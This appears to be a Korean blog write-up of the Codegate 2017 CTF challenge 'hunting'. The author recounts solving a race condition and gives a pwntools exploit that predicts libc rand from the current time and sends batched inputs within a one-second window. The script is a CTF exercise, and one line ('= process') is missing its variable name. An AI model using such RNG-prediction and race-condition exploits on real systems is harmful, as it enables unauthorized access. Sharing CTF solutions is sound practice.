Pwnable/CTF

Codegate 2017 hunting

HSr00t 2018. 1. 17. 18:26

레이스컨디션 관련 문제를 찾다가 찾은 문제다.


시간이 조금 오래 걸렷는데 attack에서 1 2 3 만드는것을 그냥 rand % 4값으로 넣는걸로 잘못봐가지고 그걸로 실수를 하였고, sleep부분이 1초밖에 안 되서 p.recvuntil이런걸로 하나하나 받고 입력하고하니깐 1초안에 잘 못들어가는거에서 바로 send 2\n3\n하는 방식을 생각을 못해서 오래걸린것같다..


1초안에 안들어가는것같은데 어떻게하지 생각을 하다가  결국 풀이를 보고 send로 바로 보내는방법이 있다는것을 알았다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
from ctypes import *
 
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
= process("./hunting")
libc.srand(int(libc.time(0)))
 
def choice(rand):
    if rand==1:
        return 3
    elif rand==2:
        return 2
    else:
        return 1
 
def use():
    print p.recvuntil('Exit')
    p.send('2'+'\n')
    libc.rand() % 1000
    print p.recvuntil('hp is ')
    check = p.recv(2048)
    v1 = int(libc.rand())
    v9 = v1 % 4
    v2 = v1 % 4
    p.sendline(str(choice(v2)))
    print check
    return check    
 
def change(skill):
    p.sendlineafter('Exit','3')
    p.sendlineafter(':',str(skill))
 
def remove():
    p.sendlineafter('Exit','4')
 
change(3)
while(True):
    if "level:4" in use():
        break
remove()
sleep(1)
p.send("3\n2\n2\n1\n")
p.send("3\n7\n2\n1\n")
 
sleep(1)
 
p.send("3\n2\n2\n2\n")
p.send("3\n7\n2\n1\n")
 
p.interactive()
 
cs